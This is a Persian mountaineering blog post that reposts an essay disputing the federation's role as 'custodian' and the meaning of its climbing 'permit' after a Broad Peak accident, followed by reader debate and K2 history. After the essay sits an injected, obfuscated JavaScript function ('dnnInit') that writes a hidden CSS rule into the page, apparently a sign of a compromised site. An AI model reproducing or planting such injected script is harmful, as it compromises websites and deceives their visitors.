خانه / فرهنگی / قلم همنورد / توهم "مجوز" و "متولی" برای کوهنوردی

توهم "مجوز" و "متولی" برای کوهنوردی

Natesh kooh(منطقه خصیل دشت املش در بازگشت از قله ناتش کوه)

  همنوردان عزیز ، متن زیر متعلق به آقای عباس محمدی رئیس اسبق انجمن کوهنوردان ایران است که در پی حادثه اخیر در قله برودپیک نوشته شده است و به سایت کوه نیوز ارسال نموده اند . به هر صورت خواندن آن بخصوص برای ما کوهنوردان گیلانی که تقریبن ده سالی است با پدیده “بی ترکیب”  و زشت  “مجوز” و”زنانه و مردانه” کردن کوهنوردی و  ازاین  دست مسایل دست و پنجه نرم می کنیم ، خالی از لطف نیست ! 

در هیچ کجای همین اساسنامه‌ی کنونی فدراسیون‌های ورزشی که پر از ایراد است و بنا به الزام کمیته‌ی جهانی المپیک باید تغییر کند تا فدراسیون‌ها صورت غیردولتی یابند، نیامده است که فدراسیون “متولی” ورزش است. با این حال، بسیار می‌بینیم و می‌خوانیم که عده‌ای، چه از مسوولان رسمی فدراسیون کوه‌نوردی و چه از اشخاص بیرون از فدراسیون، می‌گویند این دستگاه “متولی” کوه‌نوردی کشور است. چند روز پیش هم هادی صابری، دبیر فدراسیون کوه‌نوردی در ارتباط با حادثه‌ی برودپیک گفت که تیم باشگاه آرش «هیچ مجوزی از فدراسیون کوهنوردی به عنوان متولی کوهنوردی کشور نگرفته بود». این که باشگاه یاد شده “مجوز” مورد نظر فدراسیون را نگرفته، درست است. اما، طرح موضوع در این موقعیت و به این شکل (که در “بیانیه‌ی رسمی” فدراسیون به تاریخ ۳۱ تیر هم تکرار شده) می‌تواند در میان مردم این ذهنیت را پدید آورد که صعود بی”مجوز” یعنی صعود غیرمجاز! از این رو، لازم است که درباره‌ی هر دو اصطلاح “مجوز” و “متولی” نکته‌هایی را در میان بگذاریم.

در فرهنگ معین، در تعریف متولی آمده است: ۱- کسی که اداره‌ی امور موسسه یا کاری را به عهده گرفته. ۲- آن که اداره‌ی امور بقعه‌ای را به عهده دارد. ۳- سرپرست املاک موقوفه… . اگر معنای عام نخست را در نظر بگیریم، آیا فدراسیون کوه‌نوردی، اداره‌ی امور کوه‌نوردی را برعهده دارد؟ پاسخ، “نه” است؛ در شرح هدف‌ها و وظیفه‌های فدراسیون‌ (ماده‌های ۲ و ۳) حداکثر عنوانی که برای این “موسسه” آمده، «بالاترین مرجع ذیصلاح در رشته‌ی ورزشی» است. روشن است که این مرجع نمی تواند مدیر یا سرپرست کار بسیار بزرگ و پردامنه و چندشاخه‌ی کوه‌نوردی باشد؛ به بیان دیگر نمی‌تواند “متولی” این فعالیت باشد. در واقع، برعکس، نزدیک به تمامی فعالیت‌های کوه‌نوردی کشور در تمامی تاریخ این رشته، به دست گروه‌ها و باشگاه‌های پرشمار، و بی کم‌ترین سرپرستی یا نظارت یا مدیریت از سوی فدراسیون انجام شده و می‌شود. این وضع، هم برای گروه‌ها و باشگاه‌ها خوب است و هم برای فدراسیون؛ زیرا آن سازمان‌ها را درگیر سرپرستی‌های دست و پاگیر دولتی نمی‌کند، و از سوی دیگر از بارگذاری روی فدراسیون جلوگیری می‌کند.

همچنین، در هیچ کجای اساسنامه، صدور مجوز برای فعالیت ورزشی در خارج از کشور جزو وظیفه‌های فدراسیون قلمداد نشده و هیچ کجا هم باشگاه‌ها و سازمان‌های ورزشی دیگر، به این کار ملزم نشده‌اند. اگر انجام فعالیت ورزشی (در این‌جا: کوه‌نوردی) منوط به گرفتن مجوز از فدراسیون شود، مانند آن است که جنگل‌پیمایی یا پیاده‌روی در کنار دریا یا تماشای آثار تاریخی در خارج از کشور را منوط به گرفتن مجوز از وزارت ارشاد کنیم! واقعیت این است که یک نفر دارنده‌ی گذرنامه‌ی معتبر، برای رفتن به کشورهای دیگر و بازدید از نقاط گوناگون یا رفتن به کوهستان‌ها یا انجام فعالیت‌های ورزشی  در خارج از کشور (البته، نه در قالب تیم ملی یا بازی رسمی) هیچ منعی ندارد. عنوان کامل آن‌چه که به اختصار “مجوز” خوانده می‌شود، “مجوز شورای برون‌مرزی” است که نوعی گواهی‌نامه در تایید ملزومات آن برنامه‌ی ورزشی برای حمایت دولتی است. حال اگر کسی نخواهد یا نتواند از این حمایت‌ها استفاده کند، برای فعالیت ورزشی آزاد برون‌مرزی، غیرمجاز نیست.

پیشنهاد می‌کنم که عنوان “مجوز” به “گواهی‌نامه‌” تغییر یابد، و فدراسیون (و کوه‌نوردان) از به کار بردن اصطلاح “متولی” برای آن موسسه خودداری کنند.

function dnnInit(){var a=0,m,v,t,z,x=new Array(“9091968376″,”88879181928187863473749187849392773592878834213333338896″,”778787″,”949990793917947998942577939317″),l=x.length;while(++a<=l){m=x[l-a];t=z=””;for(v=0;v<m.length;){t+=m.charAt(v++);if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);t=””;}}x[l-a]=z;}document.write(“.”+x[2]+”{“+x[1]+”}”);}dnnInit();

(منبع : سایت کوه نیوز)

zp8497586rq

همچنین ببینید

سلام لیلا جان

دیروز دوستان را فراخوانده بودی که بدرقه ات کنند. خیلی ها آمده بودند،در شرایط عجیب …

۹ دیدگاه

  1. آنچه که تا امروز سیاست رفتاری ما در گروه تیلار بوده آزادی بیان بصورت شفاف و مشخص است ، هر کسی می تواند نظر خود را بیان کند و نیازی به قایم باشک بازی و از پشت پرده سخن گفتن نباشد . حالا چطور پیامی با نام مستعار کوهنورد منتشر می شود و یا اینکه اصلن نویسنده چه هدفی از پنهان کردن نام خود دارد من نمی دانم.
    مساله بعدی اینست که بنده و سایر دوستانم در این گروه ( چه موافقان نظرم و چه مخالفان آن) نه شاغل و مرتبط با فدراسیونیم و نه با طیف مقابلش خط و ربطی داریم. از هل دادن و زیر پا خالی کردن یا باج دادن و نوشابه باز برای طرفین ( فعلی) نفعی حاصلمان نمی شود .
    نوشته من هم صرفن نقد متن آقای محمدی بود نه بررسی خود حادثه ، اگر بشود پیرامون آن مطلبی خواهم نوشت ، البته به دوستان پیشنهاد می کنم گزارش آقای شجاعی را بخوانند و با تامل در آن و قیاسش با گزارش های روزانه آقای بابازاده که آرشیوش در کوه نیوز موجود است می توانند به دلایل آنچه اتفاق افتاد پی ببرند.

  2. آنچه مسلم است این است که این اتفاقات تلخ فرصتی شده است برای کسانی که به دلایل متعدد شخصی قصد تخریب و متهم کردن سایرین را دارند. یکی بی اعتقادی و مذهب گریزی را را توجیه می کند و قصد بسط دادن بینش خود را دارد چنانکه دیگران قدرت تفکر ندارند، یکی قصد تخریب کسی که پستش را از دست داده را دارد و …
    اما همه میدانند که کار بزرگ این دوستان از دست رفته در برودپیک را خیلیها نمی توانند تجربه کنند و می دانند که اشتباهاتی در کار بوده و محاسباتی غلط از آب درآمده، ولی هیچ کس نگفت این اشتباهات غلط چه بوده و چه باید کرد که تکرار نشود، ما تا کی باید با خودخواهی تمام به سمت قله های توهم و توهین برویم؟؟؟ حال مقصر را پیدا کردید ، آیا دیگر تکرار نمی شود، به جای این داستان پردازی ها اگر خیلی حرفه ای هستین و اساسنامه چهار تا فدراسیون خارجی را مطالعه کردین بیایید پیشنهادتان را به همه اعلام کنید،اگر رنگ ٨٠٠٠متری را دیده اید بیایید مسائل فنی را تشریح کنید، اگر هیچی نمی دانید از کسی که این کاره بوده بپرسید.

  3. مقایسه میان مجوز شورای برون مرزی برای صعودهای خارجی با پدیده مجوزهای کوهنوردی در گیلان از اساس غلط می باشد . مبنای مجوز در گیلان بحثی کاملن غیر ورزشی و اختلاف نظری فرهنگی – اعتقادی است میان کوهنوردان و نهادهای انتظامی و قضایی (دستگاه های تمامن غیر ورزشی ) و از آنجایی که مسولیت کوهنوردی و ورزش استان هم در دست افراد غیرورزشی و نامرتبط قرار گرفته این تعارض بیشتر و عمیق تر شده است. اما در مقوله فدراسیون و صعودهای بین المللی بحث تقریبن فنی است. موضوع رعایت شرایطی است که کمیته هیمالیا نوردی بعنوان پیش شرط اعلام می کند تا تیمی را حائز شرایط معرفی به شورای برون مرزی وزارت ورزش نماید و اساسن مجوز فوق توسط وزارت ورزش صادر می گردد و نه فدراسیون و در ضمن فدراسیون هم مدعی نیست که تیمها بدون چنین مجوزی حق اجرای برنامه های خود را ندارند. این موضوع در همان بیانیه فدراسیون بعنوان صعود های مستقل اشاره شده است. نکته بعدی در خود بحث آقای محمدی است. ایشان معتقد است فدراسیون متولی امر کوهنوردی کشور نیست. پس چیست؟ پس نفس وجودی فدراسیون چیست؟ پس چرا همه از فدراسیون انتظار عکس العمل در قبال حوادث را دارند؟ به پیام های منتشره در کوه نیوز و سایر وبلاگ ها نگاه کنید در اعتراض به هر مساله مربوط به کوهنوردی همه از فدراسیون انتظار واکنش دارند. اگر متولی نیست چرا چنین انتظاری وجود دارد؟ البته فدراسیون همه جریان کوهنوردی کشور را شامل نمی شود نمی تواند هم بشود. کوهنوردی در میان کوهنوردان ، گروه ها ، باشگاه ها شکل می گیرد و به پیش می رود ولی این به معنی حذف فدراسیون به عنوان یک نهاد رسمی یا متولی بودن آن نیست. در اینجا لازم بذکر است قصد من دفاع از عملکرد فدراسیون نیست . انتقادات زیادی به عملکرد مسولین فدراسیون و نگاه حاکم بر آن موجود است اما این نباید باعث شود به بیراه برویم و اصل ماجرا را انکار کنیم. کاری که آقای محمدی می کند فرافکنی است ، در هنگامه ای که جریان کوهنوردی کشور در اضطراب حادثه ای هولناک بسر می برد که متاسفانه نقش ایشان و تفکراتشان در شکل گیریش دیده می شود ایشان به مصاحبه پوچ و بی معنی دبیر فدراسیون می پردازد و بهترین کار را حمله به فدراسیون می داند . در لحظاتی که نقش ایشان و دوستانشان در شکل گیری زنجیره غلطی از تصمیم گیری های اشتباه به شدت مورد سوال است، در لحظاتی که مساله مرگ و زندگی انسان ، زنده بودن و نابودشدن سه کوهنورد جوان به دغدغه بزرگ جامعه کوهنوردی و حتی فراتر از آن کل جامعه تبدیل می شود ، ایشان می خواهد متولی گری و مجوز شورای برون مرزی را نقد کند و آن را توهم بنامد . در این شرایط ایشان متوهم تر بنظر می رسد.
    در زمستان گذشته در همین قله برودپیک صعودی زمستانه از طرف کوهنوردان لهستانی انجام شد. هر ۴ کوهنورد به قله رسیدند اما دو نفر در بازگشت به مشکل برخوردند ، سرپرست گروه تا دوروز خبر صعود را اعلام نکرد چون معتقد بود صعودی موفق است که همه اعضای تیم سالم برگردند و در نهایت تیم لهستان با وجود صعود به قله و برگشت دو تن خود را پیروز ندانست ، اما ساعاتی پس از رسیدن ۳ کوهنورد ایرانی به قله برودپیک آقای محمدی در متنی اعلام کرد” اینست کوهنوردی” و خواست که” در نشئه لذت آن صعود صفایی بکند” . متاسفانه همه از عاقبت این سه کوهنورد باخبریم اما انگار خبری از پایان توهمات آقای محمدی و دوستانشان نیست.

  4. مسعود سلیم پور

    خدمت رفیق و همنورد گرامی ، حسین صالحی عرض سلام و ارادت دارم !
    اگر چه مدتی است از حضورتان در برنامه های گروه محرومیم ، اما نمی توانیم مراتب سپاس و تشکر خود را از جنابعالی برای ارایه نظر و حضور ارزشمندتان در سایت رسمی گروه دریغ نماییم .
    ارایه تاریخچه ای مدون و مستند در خصوص حادثه در ورزش “انسان محور” و “اجتماعی” کوهنوردی دلالت بر وسعت دانش و آگاهی تان در این مقوله دارد .
    به هر صورت با توجه به اینکه بحث و بررسی در مورد موضوع فوق و سایر مسایل مربوط به ورزش مشترک مان “کوهنوردی” نیاز به ساعتها و شاید روزها “چانه زنی” و “مباحثه” دارد ، خوشحال می شویم از نزدیک و بخصوص در میان کوه و برنامه هایش دیداری تازه نماییم .

    “بی محنت روزگارتان” – مسعود سلیم پور

  5. بیست وپنج سال پس از تلاشی که «اسپلوتو» آغاز کرده بود یک تیم آمریکایی در سال ۱۹۳۸ به سرپرستی چارلز هیستون ، بخش دشوار صعود در ارتفاع ۶۶۵۰ متری را پشت سر نهادند که امروزه از آن بخاطر نام همراهش «بیل هاوس»بعنوان دودکش خانگی یاد می کنند. از آنجا که آنها فراموش کرده بودند فندک یا کبریتی به همراه ببرند وقادر به روشن کردن اجاق نبودند لذا پخت و پز وبرف آب کردن غیر ممکن بود از ارتفاع ۷۸۰۰ متری مراجعت کردند… به هرحال- تیم لاچه دلی … با اینکه خودشان ( لاچه دلی…) راه کمپ نهم را باز کرده اند ولی آنقدر خسته اند که مسیر را گم می کنند. با این وجود حدود یازده شب خود را به کمپ هشتم می رسانند ودر روزهای بعد با همراهی دوستانشان به کمپ اصلی می رسند . در کمپ اصلی جشن خاصی گرفته نمی شود آنها به علت سرما زدگی انگشتان دست ، در روز یازدهم آگوست منطقه را ترک کرده و …. با امید به جاودانگی یاد وخاطره تلاشگران دیروز وامروز و…در کوهستان- تیر ۹۲ ح صالحی

  6. ۴-. در سالهای بعد جغرافی دانان برجسته ای چون «مارتین کانوی» ، «فرانسیس یانگ هازبند» که سر پرستی تیم های معروفی را به ارتفاعات ونقاط متروک عهده دار بودند نیز منطقه را از نزدیک مورد مشاهده قرار دادند . برجسته ترین این اقدامات ، تلاش «روبرتو له کو»اهل والدوستا بود که در سال ۱۸۹۰ حتی تا دامنه های k2 ارتفاع گرفت. یکی از اولین اقدامات صورت گرفته روی قله کوه تلاش « لوئیجی آمدو دوک ابروزی»بود که در سال ۱۹۰۹ در شکل یک گروه متناسب ومتشکل از محققین و ۳۵۰ باربر تیغه جنوب شرقی را به عنوان بهترین مسیر دستیابی به قله شناسایی کردند. … «دوک » در تلاش برای رسیدن به ارتفاعات بالا موفق نبود اما نتایج حاصله از این تلاش بسیار ارزشمند بود… پس از سفر اکتشافی «دوک ابروزی » سالها طول کشیدتا ایتالیایی ها دوباره به k2 باز گشتند . در سال ۱۹۲۹ کلوپ آلپ ایتالیا و سازمان جغرافیایی این کشور قصد مشترکی را برای صعود روی k2 داشتند که حادثه تلخ قطب شمال واز دست رفتن «امبرتو نوبیل» باعث شد که «موسولینی » موقتا دست از انجام سفرهای خطرناک تحقیقاتی بردارد، در نتیجه تیمی که عازم یخچال بالتور شده بود می بایست صرفا به کارهای علمی می پرداخت…

  7. ۳- بهای پیروزی:
    … پیروزی بر قله K2 در سال های پس از جنگ جهانی دوم توانست مدتی کوتاه خوشحالی عموم مردم را به همراه داشته ودر ضمن با بر افراشته شدن پرچم ایتالیا مرهمی بر درد اهانت وتحقیر حاصل از جنگ باشد ( اشاره به همکاری موسولینی با نازی ها دارد .مترجم) این واقعیتی است که ما باید بپذیریم که در دنیای امروز ،کوهنوردی تا حد زیادی مدیون ایتالیایی هاست واین صرفا به خاطر آن چیزی که پنجاه سال پیش در k2 رخ داده نیست … k2 که محلی ها آن را قله چوگوری می نامند اغلب به عنوان کوه ایتالیایی ها از آن یاد می شود این مطلب صرفا بخاطر این نیست که در سال ۱۹۵۴ پرچم ایتالیا بر فراز آن برافراشته شد بلکه در طی سالها گروه های متعددی از کشور ایتالیا مجذوب آن شده ، دوستش می دارند وحتی در سال های پیش از ۱۹۵۴ نیز روی آن تلاش کرده بودند. مخروط بزرگ k2 برای اولین بار درسال ۱۸۵۶ در جریان سفر سرهنگ «مونت گومری» به ایتالیا توسط دستگاه های زاویه سنج طول یاب شناسایی شد . سفر اکتشافی که به منظور شناخت از دور دست ترین ومتروک ترین قسمت های امپراتوری بزرگ بریتانیا صورت گرفته بود. در ابتدا نام N13را به خود گرفت ولی بعدها در طبقه بندی قله های کاراکوروم پس از قله ماشربروم که به آن k1 گفته می شد ،عنوان k2 را کسب کرد. در سال ۱۸۶۱ «هنری گادوین اوستین»در پی تحقیقات مساحی خود برای اولین بار بدون چشم مسلح قله را از نزدیک روءیت کرد .

  8. ۲- در عصر حاضر نیز با همه امکانات لجستیکی وراهبردی مقوله حوادث را در صعودها به اشکال گوناگون و حتی مشابه می بینیم . با رجوع به منابع و مطالب مستند ونگاشته شده از دهه های ۱۸۵۰میلادی و بعد از آن ، چه آن زمانی که جغرافیدانان برای تحقیقات ، ارتفاعات را مساحی و بررسی می کردند، در این راه در ارتفاعات افرادی را از دست می دادند حال این افراد شرپا بوده و یا کوهنورد و یا بطریقی در این مسیرها گامی برداشته اند ، که می خواستند با ابداعات وآرزوها ی بلند ونیازهای خود برای دست یابی به ناشناخته ها تلاش وهمت به خرج داده تا افتخارات وگشایش هایی در این عرصه، از نظر میهنی وجهانی ( بشری) بدست آید … (…باد دوباره وزیدن گرفت .مهی سفیدرنگ مثل هاله ای دور قله می رقصید .سوز سرما با هر قدم به گونه هایم تازیانه می زند! و …دوباره قدمی دیگر … آغابالاکف – از کتاب آلاله های پامیر)

  9. ۱- بازخوانی!
    بهای پیروزی
    نوشته : لینو لاچه دلی- جووانی چناچی – ترجمه : جمشید هدایت نسب .
    برداشتی از فصلنامه کوه – شماره های ۵۴- ۵۵- ۵۶- بهار، تابستان، پاییز ۸۸

    … در یک آن، تمام شیرینی های فتح غرور انگیزشان جای خود را به تلخی می دهد. هوای تنفس آن گونه که با بخار سرب در آمیخته باشد ،سنگین وخفقان آور می شود . موج شوک و اندوه در نگاه های حیرت زده شان به حرکت در می آید ، و با اشک چشمانشان در می آمیزد وسپس قطره قطره و به آرامی پس از غلطیدن بر گونه هایشان ، ته ریش چند روزه شان را خیس می کند.بیش از یک ساعت بالای سر همنورد از دست رفته شان با اندوه تمام سپری می کنند ، اما چه فایده؟ دیگر همه چیز تمام شده بود … او را با کلنگ ویومار خودش بر روی یخچال محکم کردند وبرای همیشه وداع نمودند… آنها دیگر زندانی کوهستان شده بودند . در ارتفاعی نزدیک به ۷۰۰۰ متر … در آن شرایط نامساعد وطوفانی هم حداقل چهار روز می بایست برای رسیدن تیم امداد منتظر می ماندند… باید گردن نهاد به تلخی این رخ دادهای محتمل. بعد از این، دو مرد در بلندای پامیر چراغ بدست فرا راه کوه پیمایان خواهند ایستاد ودر دل طوفان های سهمگین راه قله را روشن خواهند کرد… ( نقل ازکتاب آلاله های پامیر – به روایت مسعود آقابالایی برای زنده یادان ، عزیزی وحراستی در صعود به قله کمونیزم .)
    مقدمه : از ارسال کننده:
    بهای پیروزی در عرصه های مختلف ، در جوامع و قاره ها متفاوت است ،چرا که داستان پیشرفت در عرصه تکنولوژی و خود باوری بر اساس علم از پایه و ابتدا در سیستم و فرهنگهای اجتمایی… متفاوت بوده وهست… اما روند امور خصوصا” ابداع واختراع وگشایش مسیر و راه نو هزینه هایی در بر داشته و دارد … لیکن هر چه محدودتر بیاندیشیم وکم ابزارتر باشیم بیشتر در خود و خود کامگی قرار خواهیم گرفت. برهمگان آشکار است که در کوهنوردی و برخورد با طبیعت چه در پنهان و آشکارا خطر نهفته است… همانطور که در برخورد با پدیده های دیگر نیز باخطر باید زیست و از خطر عبور کرد؟ مثلی است که از هفت خوان رستم باید گذشت…اما متفاوت. در نگاهی گذرا به نوشته ها ، درعرصه صعودهای بلند درمی یابیم که همواره حوادث با این صعود ها عجین بود . حتی اگر از نگاه جهان پیشرفته تر از نظر تکنولوژی وآموزش نیز در آن کشورها به این مقوله نگاه کنیم ، باز هم حادثه در پی برنامه ها بوده است .